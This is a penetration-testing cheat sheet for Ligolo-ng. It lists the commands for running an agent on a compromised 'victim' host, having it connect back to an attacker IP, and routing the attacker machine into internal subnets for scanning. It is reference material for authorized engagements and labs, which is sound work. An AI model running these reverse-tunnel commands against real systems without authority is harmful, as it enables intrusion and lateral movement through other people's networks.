Ligolo-ng Cheat Sheet
Advanced pivoting via TUN interface and agent — cleaner routing than SOCKS for multi-host internal scans.
Overview
Ligolo-ng creates a userspace network tunnel between an agent on a compromised host and a proxy on the attacker machine. Internal IPs become directly reachable (no proxychains per tool) after adding routes.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Install
Releases
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64.tar.gztar -xzf ligolo-ng_proxy_linux_amd64.tar.gzAgent + proxy binaries: proxy (attacker), agent (victim)
chmod +x proxy agentEssential commands
Attacker — start proxy
sudo ./proxy -selfcertIn ligolo console after agent connects
sessionselect agent
startAdd route to internal subnet (on attacker, outside ligolo)
sudo ip route add 172.16.1.0/24 dev ligoloCommon workflows
Terminal 1 — attacker
sudo ./proxy -selfcert -laddr 0.0.0.0:11601Victim
./agent -connect 10.10.14.5:11601 -ignore-certIn proxy TUI
ligolo-ng » session? Specify a session : 1 - user@target - 192.168.1.50:44321[Agent : user@target] » startAttacker host routing
sudo ip route add 172.16.0.0/16 dev ligolonmap -sn 172.16.1.0/24List and switch sessions in proxy UI
sessionAgent connects out (default, firewall-friendly)
./agent -connect attacker:11601 -ignore-certBind mode when inbound allowed
./proxy -listen 0.0.0.0:11601Cleanup routes —
sudo ip route del 172.16.0.0/16 dev ligoloFlags: ligolo-ng proxy
-selfcert | Generate self-signed TLS cert for agent |
|---|---|
-laddr 0.0.0.0:11601 | Listen address for agent connections |
-listen 0.0.0.0:11601 | Bind mode (agent connects in) |
Flags: ligolo-ng agent
-connect 10.10.14.5:11601 | Connect to proxy (reverse) |
|---|---|
-ignore-cert | Ignore TLS certificate errors |
-retry | Reconnect on disconnect |
Commands: ligolo-ng console
List / select connected agent
sessionStart tunnel for selected session
startStop tunnel
stopShow tunnel interface info
ifconfigTips
- Requires sudo on attacker for TUN and routing.
- Disable conflicting VPN routes; check ip route before adding internal ranges.
- Prefer ligolo over SOCKS when running many tools (bloodhound, kerbrute) without proxychains.
- Old ligolo (Python) differs from ligolo-ng — use ng for current engagements.